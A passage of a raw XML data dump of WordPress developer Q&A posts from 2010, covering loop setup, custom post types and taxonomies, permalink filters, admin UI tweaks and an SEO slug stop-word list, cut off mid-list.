&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where   &lt;code&gt;front_page_loop.php&lt;/code&gt; is my loop code, but I just get the same post, albeit with different dates                  &lt;/p&gt;&#xA;" OwnerUserId="784" LastEditorUserId="784" LastEditorDisplayName="" LastEditDate="2010-09-29T18:39:16.237" LastActivityDate="2010-09-29T20:10:35.380" Title="Is there a way to define the $post var outside the loop?" Tags="&lt;posts&gt;&lt;loop&gt;" AnswerCount="1" />
  <row Id="2364" PostTypeId="2" ParentId="2363" CreationDate="2010-09-29T18:35:59.893" Score="1" ViewCount="" Body="&lt;p&gt;I think &lt;code&gt;setup_postdata($post)&lt;/code&gt; (internal) function does that. I failed to find proper documentation for it in Codex (typical), but there are examples with it here and there like in &lt;a href=&quot;http://codex.wordpress.org/Displaying_Posts_Using_a_Custom_Select_Query&quot; rel=&quot;nofollow&quot;&gt;Displaying Posts Using a Custom Select Query&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This test snippet seems to work fine for example code you have in question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( $cat1 as $post ) {&#xA;&#xA;    setup_postdata($post);&#xA;    printf( 'Post &quot;%s&quot; was posted %s ago&amp;lt;br /&amp;gt;',&#xA;        get_the_title(),&#xA;        human_time_diff( strtotime( get_the_date() ) )&#xA;        );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-09-29T20:10:35.380" LastActivityDate="2010-09-29T20:10:35.380" CommentCount="6" />
  <row Id="2366" PostTypeId="2" ParentId="2361" CreationDate="2010-09-29T19:54:48.490" Score="3" ViewCount="" Body="&lt;p&gt;I would convert the date to a timestamp before storing it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'save_details');&#xA;&#xA;function save_details(){&#xA;    global $post;&#xA;    update_post_meta($post-&amp;gt;ID, &quot;startdate&quot;, strtotime($_POST[&quot;startdate&quot;]));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And use the current timestamp to do the comparison:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(array(&#xA;    'post_type' =&amp;gt; array('seminar'),&#xA;    'meta_key=startdate',&#xA;    'meta_value='.time(),&#xA;    'meta_compare=&amp;gt;'&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-29T19:54:48.490" CommentCount="2" />
  <row Id="2367" PostTypeId="2" ParentId="2361" CreationDate="2010-09-29T20:10:51.743" Score="0" ViewCount="" Body="&lt;p&gt;Perhaps this would do the trick?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(array(&#xA;    'post_type' =&amp;gt; array('seminar'),&#xA;    'meta_key' =&amp;gt; 'startdate',&#xA;    'orderby'=&amp;gt; 'meta_value',&#xA;    'order' =&amp;gt; 'ASC'&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2010-09-29T20:10:51.743" CommentCount="2" />
  <row Id="2368" PostTypeId="2" ParentId="2349" CreationDate="2010-09-29T20:18:51.533" Score="4" ViewCount="" Body="&lt;p&gt;Breadcrumb NavXT has Custom Post Type support since 3.6.0. You might encounter some options problem. Please try to reset them or take a look on the development version. Backup your settings first with the export / import settings feature.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-29T20:18:51.533" CommentCount="2" />
  <row Id="2369" PostTypeId="2" ParentId="2350" CreationDate="2010-09-29T21:09:56.653" Score="1" ViewCount="" Body="&lt;p&gt;You may also want to consider signing up for an email marketing solution &lt;a href=&quot;http://www.mailchimp.com&quot; rel=&quot;nofollow&quot;&gt;like MailChimp&lt;/a&gt;. That way the information that the user enters is stored in an opt-in mailing list that allows you to send messages down the road. If I remember correctly, MailChimp has a free option to send up to 500 messages monthly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also offer &lt;a href=&quot;http://www.mailchimp.com/plugins/mailchimp-wordpress-plugin/&quot; rel=&quot;nofollow&quot;&gt;a WordPress plugin&lt;/a&gt; so you don't even have to write any code.&lt;/p&gt;&#xA;" OwnerUserId="947" LastActivityDate="2010-09-29T21:09:56.653" />
  <row Id="2370" PostTypeId="1" AcceptedAnswerId="2374" CreationDate="2010-09-29T21:45:48.850" Score="1" ViewCount="234" Body="&lt;p&gt;For one of my custom post types I want a specific user to be able to edit existing posts created by admin but not be able to Add New posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I define the user role as not being able to Publish it still allows them to add a new post and submit for review.&lt;/p&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2010-09-29T22:15:52.683" Title="Allow user to Edit Posts but not Add New?" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;capabilities&gt;&lt;roles&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2371" PostTypeId="1" AcceptedAnswerId="2373" CreationDate="2010-09-29T21:47:58.627" Score="1" ViewCount="324" Body="&lt;p&gt;I have a custom post type ('post' capabilities) called EVENTS and a custom taxonomy called VENUES (hierarchical).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to set the post's url to domain.com/my-events/%TAXONOMY%/%POST-TYPE% kind of like category/post-name, but it doesn't seem to work, the URL always render the %TAXONOMY% bit as is leaving the % signs..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. @John P Bloch, I'm using your plugin.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2010-10-05T03:14:22.137" Title="rewrite rules for custom post-type with a custom taxonomy" Tags="&lt;url-rewriting&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" />
  <row Id="2372" PostTypeId="2" ParentId="2025" CreationDate="2010-09-29T22:03:13.923" Score="1" ViewCount="" Body="&lt;p&gt;Rather than editing your css file you can use this in your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function hide_all_slugs() {&#xA;global $post;&#xA;$hide_slugs = &quot;&amp;lt;style type=\&quot;text/css\&quot;&amp;gt; #slugdiv, #edit-slug-box { display: none; }&amp;lt;/style&amp;gt;&quot;;&#xA;print($hide_slugs);&#xA;}&#xA;add_action( 'admin_head', 'hide_all_slugs'  );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2010-09-29T22:03:13.923" CommentCount="1" />
  <row Id="2373" PostTypeId="2" ParentId="2371" CreationDate="2010-09-29T22:13:36.430" Score="2" ViewCount="" Body="&lt;p&gt;My plugin will be adding this functionality in the next release (in beta now). If you want, you can download the beta at &lt;a href=&quot;http://www.johnpbloch.com/custom-post-permalinks.zip&quot; rel=&quot;nofollow&quot;&gt;http://www.johnpbloch.com/custom-post-permalinks.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are still known bugs in that beta version, though. I don't have the time to give you a proper answer on here at the moment (it's a pretty complicated fix); we'll see if I release the new version before I get around to it... ;)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;My plugin is now in its release candidate phase. If there are no more bugs found by Thursday morning, I'll release it. I don't anticipate this happening, though. You can find the release candidate at the same url as above. I think that should solve your problem. Taxonomy tags are the taxonomy's name (as registered. This may be different from the label).&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-10-05T03:14:22.137" LastActivityDate="2010-10-05T03:14:22.137" />
  <row Id="2374" PostTypeId="2" ParentId="2370" CreationDate="2010-09-29T22:15:52.683" Score="2" ViewCount="" Body="&lt;p&gt;You will have to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function hide_buttons() {&#xA;    global $current_screen;&#xA;&#xA;    if($current_screen-&amp;gt;id == 'edit-post' &amp;amp;&amp;amp; !current_user_can('publish_posts')) {&#xA;        echo '&amp;lt;style&amp;gt;.add-new-h2{display: none;}&amp;lt;/style&amp;gt;';  &#xA;    }&#xA;}&#xA;add_action('admin_head','hide_buttons');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://erisds.co.uk/wordpress/spotlight-wordpress-admin-menu-remove-add-new-pages-or-posts-link&quot; rel=&quot;nofollow&quot;&gt;http://erisds.co.uk/wordpress/spotlight-wordpress-admin-menu-remove-add-new-pages-or-posts-link&lt;/a&gt; for reference&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-29T22:15:52.683" CommentCount="2" />
  <row Id="2375" PostTypeId="1" CreationDate="2010-09-29T22:16:54.773" Score="0" ViewCount="183" Body="&lt;p&gt;How can I change the page that the 'view' action links to on the list post screen for a custom post type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got it to work with normal post types using the below code but where do I define the custom post type?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function change_link($post_url,$post) {&#xA;    return '/video?id='.$post-&amp;gt;ID;&#xA;}&#xA;add_filter('post_link',&quot;change_link&quot;,10,2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1063" LastEditorUserId="1063" LastEditorDisplayName="" LastEditDate="2010-09-30T00:39:29.893" LastActivityDate="2010-10-22T18:10:50.170" Title="Changing 'view' link for custom post type on list post screen?" Tags="&lt;custom-post-types&gt;&lt;admin&gt;" AnswerCount="2" />
  <row Id="2376" PostTypeId="2" ParentId="2375" CreationDate="2010-09-29T22:20:32.767" Score="1" ViewCount="" Body="&lt;p&gt;By adding a filter to &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/post_link&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;the &lt;code&gt;'post_link'&lt;/code&gt; hook&lt;/strong&gt;&lt;/a&gt;. See the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_permalink&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;get_permalink()&lt;/strong&gt;&lt;/a&gt; function for more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For custom post types, you can use &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/post_link&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;the 'post_type_link' hook&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a lot easier if you follow the source code &lt;em&gt;(this is for v3.0):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/link-template.php#L166&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/link-template.php#L166&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="205" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-22T06:46:30.083" LastActivityDate="2010-10-22T06:46:30.083" CommentCount="2" />
  <row Id="2377" PostTypeId="2" ParentId="2349" CreationDate="2010-09-29T23:09:28.003" Score="2" ViewCount="" Body="&lt;p&gt;As hakre said, Breadcrumb NavXT officially supports custom post types since version 3.6.0. I have tested it with both hierarchical and flat custom post types (and with custom taxonomies with flat custom post types).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a change in behavior for Breadcrumb NavXT in 3.7.0 (the next release) that allows you to set the root for custom post types. In version 3.6.0 it was assumed that all flat post types resided under the posts page (you see it as &quot;blog&quot; in the breadcrumb trail), and all hierarchical post types resided under the page on front (front page, or &quot;Home&quot; in your breadcrumb trail). This is already partially implemented in the SVN trunk (taxonomy based archives do not support this at the moment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless &quot;News&quot; is a name of a term of some taxonomy of &quot;My News Post&quot;, or the parent post to &quot;My News Post&quot; it will not show up at the moment. Per the above paragraph, with the development version you can have &quot;News&quot; be a page (built in WordPress &quot;page&quot; post type) and it will show up in the trail.&lt;/p&gt;&#xA;" OwnerUserId="1078" LastActivityDate="2010-09-29T23:09:28.003" />
  <row Id="2378" PostTypeId="1" AcceptedAnswerId="2380" CreationDate="2010-09-29T23:10:41.773" Score="2" ViewCount="91" Body="&lt;p&gt;I am new to wordpress. I am trying to build a custon website based on it. I know some php and quite good html \ css \ js. I wanted to know if it's possible to set a uinque theme for different pages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1090" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-29T23:29:07.133" LastActivityDate="2010-09-29T23:43:08.413" Title="How to set a unique WordPress theme for different pages?" Tags="&lt;themes&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2379" PostTypeId="1" CreationDate="2010-09-29T23:35:35.997" Score="2" ViewCount="528" Body="&lt;p&gt;In order to use Breadcrumbs NavXT to display the title of a gallery, you need to create a new gallery subpage that the gallery will link to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make NextGen automatically create this gallery subpage named by the title of the gallery?&lt;/p&gt;&#xA;" OwnerUserId="1063" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T10:10:48.040" LastActivityDate="2011-02-05T10:10:48.040" Title="NextGen Gallery - automatically create gallery sub page?" Tags="&lt;plugins&gt;&lt;gallery&gt;&lt;plugin-nextgen-gallery&gt;&lt;support&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="2380" PostTypeId="2" ParentId="2378" CreationDate="2010-09-29T23:43:08.413" Score="4" ViewCount="" Body="&lt;p&gt;Yes, it is possible with page templates. See:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Pages#Page_Templates&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Pages#Page_Templates&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-29T23:43:08.413" />
  <row Id="2381" PostTypeId="1" AcceptedAnswerId="2382" CreationDate="2010-09-30T00:09:06.520" Score="0" ViewCount="239" Body="&lt;p&gt;For the life of me I cannot seem to get categories to come into existence with my custom post type. I've added the following &amp;mdash; simple &amp;mdash; code to the bottom of my theme's &lt;code&gt;functions.php&lt;/code&gt; file, yet see no categories in my custom post from the admin side.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type(&quot;customy&quot;, array(&#xA;    'label' =&amp;gt; 'Customy',&#xA;    'description' =&amp;gt; 'Custom stuff for this site.',&#xA;    'public' =&amp;gt; true,&#xA;    'hierarchical' =&amp;gt; true,&#xA;    'supports' =&amp;gt; array('title', 'editor', 'author', 'thumbnail', 'revisions'),&#xA;    'taxonomies' =&amp;gt; array('category')&#xA;));&#xA;register_taxonomy_for_object_type('category', 'customy');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="92" LastActivityDate="2010-09-30T00:26:08.250" Title="Custom Post Types and Categories?" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;taxonomy&gt;" AnswerCount="1" />
  <row Id="2382" PostTypeId="2" ParentId="2381" CreationDate="2010-09-30T00:26:08.250" Score="4" ViewCount="" Body="&lt;p&gt;It appears that although &lt;code&gt;register_post_type()&lt;/code&gt; will add the new &lt;code&gt;post_type&lt;/code&gt; immediately, it seems as though you need to bind up the logic into a function, and add it to the &lt;code&gt;init&lt;/code&gt; action for the categories taxonomy to be associated with the &lt;code&gt;post_type&lt;/code&gt;. A working example follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_articles_post_type() {&#xA;  register_post_type(&quot;article&quot;, array(&#xA;    'label' =&amp;gt; 'Article',&#xA;    'public' =&amp;gt; true,&#xA;    'hierarchical' =&amp;gt; true,&#xA;    'supports' =&amp;gt; array('title','editor','author','thumbnail','revisions')&#xA;  ));&#xA;  register_taxonomy_for_object_type('category', 'article');&#xA;}&#xA;add_action('init', 'add_articles_post_type');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="92" LastActivityDate="2010-09-30T00:26:08.250" />
  <row Id="2383" PostTypeId="2" ParentId="1567" CreationDate="2010-09-30T01:02:51.357" Score="4" ViewCount="" Body="&lt;h2&gt;Auto Clean SEO Slugs without removing functionality&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By adding this code to your functions.php file wordpress will automatically clean up the slug URL title by removing all unnecessary words. I have also extended the capabilities with additional customizations which hide the screen option for slug as well as the metabox. By including the code below any new post you create will automatically get shortened and you will still have the ability to manually edit the slug by clicking on the url under the post title and saving the post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// AUTOMATICALLY SANITIZE PAGE/POST SEO SLUG FROM SHORT WORDS&#xA;   add_filter('name_save_pre', 'seo_slugs', 0);&#xA;   function seo_slugs($slug) {&#xA;    // We don't want to change an existing slug&#xA; if ($slug) return $slug;&#xA; global $wpdb;&#xA; $seo_slug = strtolower(stripslashes($_POST['post_title']));&#xA; $seo_slug = preg_replace('/&amp;amp;.+?;/', '', $seo_slug); // kill HTML entities&#xA;    // kill anything that is not a letter, digit, space or apostrophe&#xA; $seo_slug = preg_replace (&quot;/[^a-zA-Z0-9 \']/&quot;, &quot;&quot;, $seo_slug);&#xA;    // Turn it to an array and strip common words by comparing against c.w. array&#xA; $seo_slug_array = array_diff (split(&quot; &quot;, $seo_slug), seo_slugs_stop_words());&#xA;    // Turn the sanitized array into a string&#xA; $seo_slug = join(&quot;-&quot;, $seo_slug_array);&#xA; return $seo_slug;&#xA;   }&#xA;   function seo_slugs_stop_words () {&#xA;   return array (&quot;a&quot;, &quot;able&quot;, &quot;about&quot;, &quot;above&quot;, &quot;abroad&quot;, &quot;according&quot;, &quot;accordingly&quot;, &quot;across&quot;, &quot;actually&quot;, &quot;adj&quot;, &quot;after&quot;, &quot;afterwards&quot;, &quot;again&quot;, &quot;against&quot;, &quot;ago&quot;, &quot;ahead&quot;, &quot;ain't&quot;, &quot;all&quot;, &quot;allow&quot;, &quot;allows&quot;, &quot;almost&quot;, &quot;alone&quot;, &quot;along&quot;, &quot;alongside&quot;, &quot;already&quot;, &quot;also&quot;, &quot;although&quot;, &quot;always&quot;, &quot;am&quot;, &quot;amid&quot;, &quot;amidst&quot;, &quot;among&quot;, &quot;amongst&quot;, &quot;an&quot;, &quot;and&quot;, &quot;another&quot;, &quot;any&quot;, &quot;anybody&quot;, &quot;anyhow&quot;, &quot;anyone&quot;, &quot;anything&quot;, &quot;anyway&quot;, &quot;anyways&quot;, &quot;anywhere&quot;, &quot;apart&quot;, &quot;appear&quot;, &quot;appreciate&quot;, &quot;appropriate&quot;, &quot;are&quot;, &quot;aren't&quot;, &quot;around&quot;, &quot;as&quot;, &quot;a's&quot;, &quot;aside&quot;, &quot;ask&quot;, &quot;asking&quot;, &quot;associated&quot;, &quot;at&quot;, &quot;available&quot;, &quot;away&quot;, &quot;awfully&quot;, &quot;b&quot;, &quot;back&quot;, &quot;backward&quot;, &quot;backwards&quot;, &quot;be&quot;, &quot;became&quot;, &quot;because&quot;, &quot;become&quot;, &quot;becomes&quot;, &quot;becoming&quot;, &quot;been&quot;, &quot;before&quot;, &quot;beforehand&quot;, &quot;begin&quot;, &quot;behind&quot;, &quot;being&quot;, &quot;believe&quot;, &quot;below&quot;, &quot;beside&quot;, &quot;besides&quot;, &quot;best&quot;, &quot;better&quot;, &quot;between&quot;, &quot;beyond&quot;, &quot;both&quot;, &quot;brief&quot;, &quot;but&quot;, &quot;by&quot;, &quot;c&quot;, &quot;came&quot;, &quot;can&quot;, &quot;cannot&quot;, &quot;cant&quot;, &quot;can't&quot;, &quot;caption&quot;, &quot;cause&quot;, &quot;causes&quot;, &quot;certain&quot;, &quot;certainly&quot;, &quot;changes&quot;, &quot;clearly&quot;, &quot;c'mon&quot;, &quot;co&quot;, &quot;co.&quot;, &quot;com&quot;, &quot;come&quot;, &quot;comes&quot;, &quot;concerning&quot;, &quot;consequently&quot;, &quot;consider&quot;, &quot;considering&quot;, &quot;contain&quot;, &quot;containing&quot;, &quot;contains&quot;, &quot;corresponding&quot;, &quot;could&quot;, &quot;couldn't&quot;, &quot;course&quot;, &quot;c's&quot;, &quot;currently&quot;, &quot;d&quot;, &quot;dare&quot;, &quot;daren't&quot;, &quot;definitely&quot;, &quot;described&quot;, &quot;despite&quot;, &quot;did&quot;, &quot;didn't&quot;, &quot;different&quot;, &quot;directly&quot;, &quot;do&quot;, &quot;does&quot;, &quot;doesn't&quot;, &quot;doing&quot;, &quot;done&quot;, &quot;don't&quot;, &quot;down&quot;, &quot;downwards&quot;, &quot;during&quot;, &quot;e&quot;, &quot;each&quot;, &quot;edu&quot;, &quot;eg&quot;, &quot;eight&quot;, &quot;eighty&quot;, &quot;either&quot;, &quot;else&quot;, &quot;elsewhere&quot;, &quot;end&quot;, &quot;ending&quot;, &quot;enough&quot;, &quot;entirely&quot;, &quot;especially&quot;, &quot;et&quot;, &quot;etc&quot;, &quot;even&quot;, &quot;ever&quot;, &quot;evermore&quot;, &quot;every&quot;, &quot;everybody&quot;, &quot;everyone&quot;, &quot;everything&quot;, &quot;everywhere&quot;, &quot;ex&quot;, &quot;exactly&quot;, &quot;example&quot;, &quot;except&quot;, &quot;f&quot;, &quot;fairly&quot;, &quot;far&quot;, &quot;farther&quot;, &quot;few&quot;, &quot;fewer&quot;, &quot;fifth&quot;, &quot;first&quot;, &quot;five&quot;, &quot;followed&quot;, &quot;following&quot;, &quot;follows&quot;, &quot;for&quot;, &quot;forever&quot;, &quot;former&quot;, &quot;formerly&quot;, &quot;forth&quot;, &quot;forward&quot;, &quot;found&quot;, &quot;four&quot;, &quot;from&quot;, &quot;further&quot;, &quot;furthermore&quot;, &quot;g&quot;, &quot;get&quot;, &quot;gets&quot;, &quot;getting&quot;, &quot;given&quot;, &quot;gives&quot;, &quot;go&quot;, &quot;goes&quot;, &quot;going&quot;, &quot;gone&quot;, &quot;got&quot;, &quot;gotten&quot;, &quot;greetings&quot;, &quot;h&quot;, &quot;had&quot;, &quot;hadn't&quot;, &quot;half&quot;, &quot;happens&quot;, &quot;hardly&quot;, &quot;has&quot;, &quot;hasn't&quot;, &quot;have&quot;, &quot;haven't&quot;, &quot;having&quot;, &quot;he&quot;, &quot;he'd&quot;, &quot;he'll&quot;, &quot;hello&quot;, &quot;help&quot;, &quot;hence&quot;, &quot;her&quot;, &quot;here&quot;, &quot;hereafter&quot;, &quot;hereby&quot;, &quot;herein&quot;, &quot;here's&quot;, &quot;hereupon&quot;, &quot;hers&quot;, &quot;herself&quot;, &quot;he's&quot;, &quot;hi&quot;, &quot;him&quot;, &quot;himself&quot;, &quot;his&quot;, &quot;hither&quot;, &quot;hopefully&quot;, &quot;how&quot;, &quot;howbeit&quot;, &quot;however&quot;, &quot;hundred&quot;, &quot;i&quot;, &quot;i'd&quot;, &quot;ie&quot;, &quot;if&quot;, &quot;ignored&quot;, &quot;i'll&quot;, &quot;i'm&quot;, &quot;immediate&quot;, &quot;in&quot;, &quot;inasmuch&quot;, &quot;inc&quot;, &quot;inc.&quot;, &quot;indeed&quot;, &quot;indicate&quot;, &quot;indicated&quot;, &quot;indicates&quot;, &quot;inner&quot;, &quot;inside&quot;, &quot;insofar&quot;, &quot;instead&quot;, &quot;into&quot;, &quot;inward&quot;, &quot;is&quot;, &quot;isn't&quot;, &quot;it&quot;, &quot;it'd&quot;, &quot;it'll&quot;, &quot;its&quot;, &quot;it's&quot;, &quot;itself&quot;, &quot;i've&quot;, &quot;j&quot;, &quot;just&quot;, &quot;k&quot;, &quot;keep&quot;, &quot;keeps&quot;, &quot;kept&quot;, &quot;know&quot;, &quot;known&quot;, &quot;knows&quot;, &quot;l&quot;, &quot;last&quot;, &quot;lately&quot;, &quot;later&quot;, &quot;latter&quot;, &quot;latterly&quot;, &quot;least&quot;, &quot;less&quot;, &quot;lest&quot;, &quot;let&quot;, &quot;let's&quot;, &quot;like&quot;, &quot;liked&quot;, &quot;likely&quot;, &quot;likewise&quot;, &quot;little&quot;, &quot;look&quot;, &quot;looking&quot;, &quot;looks&quot;, &quot;low&quot;, &quot;lower&quot;, &quot;ltd&quot;, &quot;m&quot;, &quot;made&quot;, &quot;mainly&quot;, &quot;make&quot;, &quot;makes&quot;, &quot;many&quot;, &quot;may&quot;, &quot;maybe&quot;, &quot;mayn't&quot;, &quot;me&quot;, &quot;mean&quot;, &quot;meantime&quot;, &quot;meanwhile&quot;, &quot;merely&quot;, &quot;might&quot;, &quot;mightn't&quot;, &quot;mine&quot;, &quot;minus&quot;, &quot;miss&quot;, &quot;more&quot;, &quot;moreover&quot;, &quot;most&quot;, &quot;mostly&quot;, &quot;mr&quot;, &quot;mrs&quot;, &quot;much&quot;, &quot;must&quot;, &quot;mustn't&quot;, &quot;my&quot;, &quot;myself&quot;, &quot;n&quot;, &quot;name&quot;, &quot;namely&quot;, &quot;nd&quot;, &quot;near&quot;, &quot;nearly&quot;, &quot;necessary&quot;, &quot;need&quot;, &quot;needn't&quot;, &quot;needs&quot;, &quot;neither&quot;, &quot;never&quot;, &quot;neverf&quot;, &quot;neverless&quot;, &quot;nevertheless&quot;, &quot;new&quot;, &quot;next&quot;, &quot;nine&quot;, &quot;ninety&quot;, &quot;no&quot;, &quot;nobody&quot;, &quot;non&quot;, &quot;none&quot;, &quot;nonetheless&quot;, &quot;noone&quot;, &quot;no-one&quot;, &quot;nor&quot;, &quot;normally&quot;, &quot;not&quot;, &quot;nothing&quot;, &quot;notwithstanding&quot;, &quot;novel&quot;, &quot;now&quot;, &quot;nowhere&quot;, &quot;o&quot;, &quot;obviously&quot;, &quot;of&quot;, &quot;off&quot;, &quot;often&quot;, &quot;oh&quot;, &quot;ok&quot;, &quot;okay&quot;, &quot;old&quot;, &quot;on&quot;, &quot;once&quot;, &quot;one&quot;, &quot;ones&quot;, &quot;one's&quot;, &quot;only&quot;, &quot;onto&quot;, &quot;opposite&quot;, &quot;or&quot;, &quot;other&quot;, &quot;others&quot;, &quot;otherwise&quot;, &quot;ought&quot;, &quot;oughtn't&quot;, &quot;our&quot;, &quot;ours&quot;, &quot;ourselves&quot;, &quot;out&quot;, &quot;outside&quot;, &quot;over&quot;, &quot;overall&quot;, &quot;own&quot;, &quot;p&quot;, &quot;particular&quot;, &quot;particularly&quot;, &quot;past&quot;, &quot;per&quot;, &quot;perhaps&quot;, &quot;placed&quot;, &quot;please&quot;, &quot;plus&quot;, &quot;possible&quot;, &quot;presumably&quot;, &quot;probably&quot;, &quot;provided&quot;, &quot;provides&quot;, &quot;q&quot;, &quot;que&quot;, &quot;quite&quot;, &quot;qv&quot;, &quot;r&quot;, &quot;rather&quot;, &quot;rd&quot;, &quot;re&quot;, &quot;really&quot;, &quot;reasonably&quot;, &quot;recent&quot;, &quot;recently&quot;, &quot;regarding&quot;, &quot;regardless&quot;, &quot;regards&quot;, &quot;relatively&quot;, &quot;respectively&quot;, &quot;right&quot;, &quot;round&quot;, &quot;s&quot;, &quot;said&quot;, &quot;same&quot;, &quot;saw&quot;, &quot;say&quot;, &quot;saying&quot;, &quot;says&quot;, &quot;second&quot;, &quot;secondly&quot;, &quot;see&quot;, &quot;seeing&quot;, &quot;seem&quot;, &quot;seemed&quot;, &quot;seeming&quot;, &quot;seems&quot;, &quot;seen&quot;, &quot;self&quot;, &quot;selves&quot;, &quot;sensible&quot;, &quot;sent&quot;, &quot;serious&quot;, &quot;seriously&quot;, &quot;seven&quot;, &quot;several&quot;, &quot;shall&quot;, &quot;shan't&quot;, &quot;she&quot;, &quot;she'd&quot;, &quot;she'll&quot;, &quot;she's&quot;, &quot;should&quot;, &quot;shouldn't&quot;, &quot;since&quot;, &quot;six&quot;, &quot;so&quot;, &quot;some&quot;, &quot;somebody&quot;, &quot;someday&quot;, &quot;somehow&quot;, &quot;someone&quot;, &quot;something&quot;, &quot;sometime&quot;, &quot;sometimes&quot;, &quot;somewhat&quot;, &quot;somewhere&quot;, &quot;soon&quot;, &quot;sorry&quot;, &quot;specified&quot;, &quot;specify&quot;, &quot;specifying&quot;, &quot;still&quot;, &quot;sub&quot;, &quot;such&quot;, &quot;sup&quot;, &quot;sure&quot;, &quot;t&quot;, &quot;take&quot;, &quot;taken&quot;, &quot;taking&quot;, &quot;tell&quot;, &quot;tends&quot;, &quot;th&quot;, &quot;than&quot;, &quot;thank&quot;, &quot;thanks&quot;, &quot;thanx&quot;, &quot;that&quot;, &quot;that'll&quot;, &quot;thats&quot;, &quot;that's&quot;, &quot;that've&quot;, &quot;the&quot;, &quot;their&quot;, &quot;theirs&quot;, &quot;them&quot;, &quot;themselves&quot;, &quot;then&quot;, &quot;thence&quot;, &quot;there&quot;, &quot;thereafter&quot;, &quot;thereby&quot;, 